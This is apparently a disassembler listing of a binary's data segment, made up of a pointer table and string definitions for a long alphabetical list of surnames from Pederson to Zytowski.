		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
off_435248	dd offset aSwindle	; DATA XREF: seg002:off_43D9D4o
					; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: seg002:00435480o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: seg002:0043547Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: seg002:00435478o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: seg002:00435474o
aZoldak		db 'Zoldak',0           ; DATA XREF: seg002:00435470o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: seg002:0043546Co
aZegans		db 'Zegans',0           ; DATA XREF: seg002:00435468o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: seg002:00435464o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: seg002:00435460o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: seg002:0043545Co
aYu		db 'Yu',0               ; DATA XREF: seg002:00435458o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: seg002:00435454o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: seg002:00435450o
aYoffe		db 'Yoffe',0            ; DATA XREF: seg002:0043544Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: seg002:00435448o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: seg002:00435444o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: seg002:00435440o
aYbarra		db 'Ybarra',0           ; DATA XREF: seg002:0043543Co
		align 4
aYates		db 'Yates',0            ; DATA XREF: seg002:00435438o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: seg002:00435434o
aYankee_0	db 'Yankee',0           ; DATA XREF: seg002:00435430o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: seg002:0043542Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: seg002:00435428o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: seg002:00435424o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: seg002:00435420o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: seg002:0043541Co
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: seg002:00435418o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: seg002:00435414o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: seg002:00435410o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: seg002:0043540Co
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: seg002:00435408o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: seg002:00435404o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: seg002:00435400o
aVitali		db 'Vitali',0           ; DATA XREF: seg002:004353FCo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: seg002:004353F8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: seg002:004353F4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: seg002:004353F0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: seg002:004353ECo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: seg002:004353E8o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: seg002:004353E4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: seg002:004353E0o
aWilder		db 'Wilder',0           ; DATA XREF: seg002:004353DCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: seg002:004353D8o
aViens		db 'Viens',0            ; DATA XREF: seg002:004353D4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: seg002:004353D0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: seg002:004353CCo
aViano		db 'Viano',0            ; DATA XREF: seg002:004353C8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: seg002:004353C4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: seg002:004353C0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: seg002:004353BCo
		align 4
aWhite_0	db 'White',0            ; DATA XREF: seg002:004353B8o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: seg002:004353B4o
aWhately	db 'Whately',0          ; DATA XREF: seg002:004353B0o
aWetzel		db 'Wetzel',0           ; DATA XREF: seg002:004353ACo
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: seg002:004353A8o
aVerghese	db 'Verghese',0         ; DATA XREF: seg002:004353A4o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: seg002:004353A0o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: seg002:0043539Co
aWelsh		db 'Welsh',0            ; DATA XREF: seg002:00435398o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: seg002:00435394o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: seg002:00435390o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: seg002:0043538Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: seg002:00435388o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: seg002:00435384o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: seg002:00435380o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: seg002:0043537Co
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: seg002:00435378o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: seg002:00435374o
aWasowska	db 'Wasowska',0         ; DATA XREF: seg002:00435370o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: seg002:0043536Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: seg002:00435368o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: seg002:00435364o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: seg002:00435360o
aVanallen	db 'vanAllen',0         ; DATA XREF: seg002:0043535Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: seg002:00435358o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: seg002:00435354o
		align 4
aWales		db 'Wales',0            ; DATA XREF: seg002:00435350o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: seg002:0043534Co
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: seg002:00435348o
aWaite		db 'Waite',0            ; DATA XREF: seg002:00435344o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: seg002:00435340o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: seg002:0043533Co
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: seg002:00435338o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: seg002:00435334o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: seg002:00435330o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: seg002:0043532Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: seg002:00435328o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: seg002:00435324o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: seg002:00435320o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: seg002:0043531Co
		align 10h
aTuttle_0	db 'Tuttle',0           ; DATA XREF: seg002:00435318o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: seg002:00435314o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: seg002:00435310o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: seg002:0043530Co
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: seg002:00435308o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: seg002:00435304o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: seg002:00435300o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: seg002:004352FCo
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: seg002:004352F8o
aTruss		db 'Truss',0            ; DATA XREF: seg002:004352F4o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: seg002:004352F0o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: seg002:004352ECo
aTringali	db 'Tringali',0         ; DATA XREF: seg002:004352E8o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: seg002:004352E4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: seg002:004352E0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: seg002:004352DCo
		align 10h
aToye		db 'Toye',0             ; DATA XREF: seg002:004352D8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: seg002:004352D4o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: seg002:004352D0o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: seg002:004352CCo
aTopulos	db 'Topulos',0          ; DATA XREF: seg002:004352C8o
aToomer		db 'Toomer',0           ; DATA XREF: seg002:004352C4o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: seg002:004352C0o
aTolman		db 'Tolman',0           ; DATA XREF: seg002:004352BCo
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: seg002:004352B8o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: seg002:004352B4o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: seg002:004352B0o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: seg002:004352ACo
aTill		db 'Till',0             ; DATA XREF: seg002:004352A8o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: seg002:004352A4o
aThroop		db 'Throop',0           ; DATA XREF: seg002:004352A0o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: seg002:0043529Co
aThisted	db 'Thisted',0          ; DATA XREF: seg002:00435298o
aThibault	db 'Thibault',0         ; DATA XREF: seg002:00435294o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: seg002:00435290o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: seg002:0043528Co
		align 4
aThan		db 'Than',0             ; DATA XREF: seg002:00435288o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: seg002:00435284o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: seg002:00435280o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: seg002:0043527Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: seg002:00435278o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: seg002:00435274o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: seg002:00435270o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: seg002:0043526Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: seg002:00435268o
aTatar		db 'Tatar',0            ; DATA XREF: seg002:00435264o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: seg002:00435260o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: seg002:0043525Co
aTambiah	db 'Tambiah',0          ; DATA XREF: seg002:00435258o
aTalaugon	db 'Talaugon',0         ; DATA XREF: seg002:00435254o
		align 4
aTai		db 'Tai',0              ; DATA XREF: seg002:00435250o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: seg002:0043524Co
aSwindle	db 'Swindle',0          ; DATA XREF: seg002:off_435248o
aSweetser	db 'Sweetser',0         ; DATA XREF: seg002:00435244o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: seg002:00435240o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: seg002:0043523Co
		align 4
aSuo		db 'Suo',0              ; DATA XREF: seg002:00435238o
aSumner		db 'Sumner',0           ; DATA XREF: seg002:00435234o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: seg002:00435230o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: seg002:0043522Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: seg002:00435228o
aStrauch	db 'Strauch',0          ; DATA XREF: seg002:00435224o
aStrange_0	db 'Strange',0          ; DATA XREF: seg002:00435220o
aStott		db 'Stott',0            ; DATA XREF: seg002:0043521Co
		align 4
aStorer		db 'Storer',0           ; DATA XREF: seg002:00435218o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: seg002:00435214o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: seg002:00435210o
aStockwell	db 'Stockwell',0        ; DATA XREF: seg002:0043520Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: seg002:00435208o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: seg002:00435204o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: seg002:00435200o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: seg002:004351FCo
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: seg002:004351F8o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: seg002:004351F4o
aStephanian	db 'Stephanian',0       ; DATA XREF: seg002:004351F0o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: seg002:004351ECo
aStefani	db 'Stefani',0          ; DATA XREF: seg002:004351E8o
aStatlender	db 'Statlender',0       ; DATA XREF: seg002:004351E4o
		align 4
aStates		db 'States',0           ; DATA XREF: seg002:004351E0o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: seg002:004351DCo
		align 4
aStang		db 'Stang',0            ; DATA XREF: seg002:004351D8o
		align 4
aStam		db 'Stam',0             ; DATA XREF: seg002:004351D4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: seg002:004351D0o
aStmartin	db 'StMartin',0         ; DATA XREF: seg002:004351CCo
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: seg002:004351C8o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: seg002:004351C4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: seg002:004351C0o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: seg002:004351BCo
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: seg002:004351B8o
aSpence		db 'Spence',0           ; DATA XREF: seg002:004351B4o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: seg002:004351B0o
aSpaulding	db 'Spaulding',0        ; DATA XREF: seg002:004351ACo
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: seg002:004351A8o
aSpanier	db 'Spanier',0          ; DATA XREF: seg002:004351A4o
aSoultanian	db 'Soultanian',0       ; DATA XREF: seg002:004351A0o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: seg002:0043519Co
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: seg002:00435198o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: seg002:00435194o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: seg002:00435190o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: seg002:0043518Co
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: seg002:00435188o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: seg002:00435184o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: seg002:00435180o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: seg002:0043517Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: seg002:00435178o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: seg002:00435174o
aSmilow		db 'Smilow',0           ; DATA XREF: seg002:00435170o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: seg002:0043516Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: seg002:00435168o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: seg002:00435164o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: seg002:00435160o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: seg002:0043515Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: seg002:00435158o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: seg002:00435154o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: seg002:00435150o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: seg002:0043514Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: seg002:00435148o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: seg002:00435144o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: seg002:00435140o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: seg002:0043513Co
aSiesto		db 'Siesto',0           ; DATA XREF: seg002:00435138o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: seg002:00435134o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: seg002:00435130o
aShia		db 'Shia',0             ; DATA XREF: seg002:0043512Co
		align 4
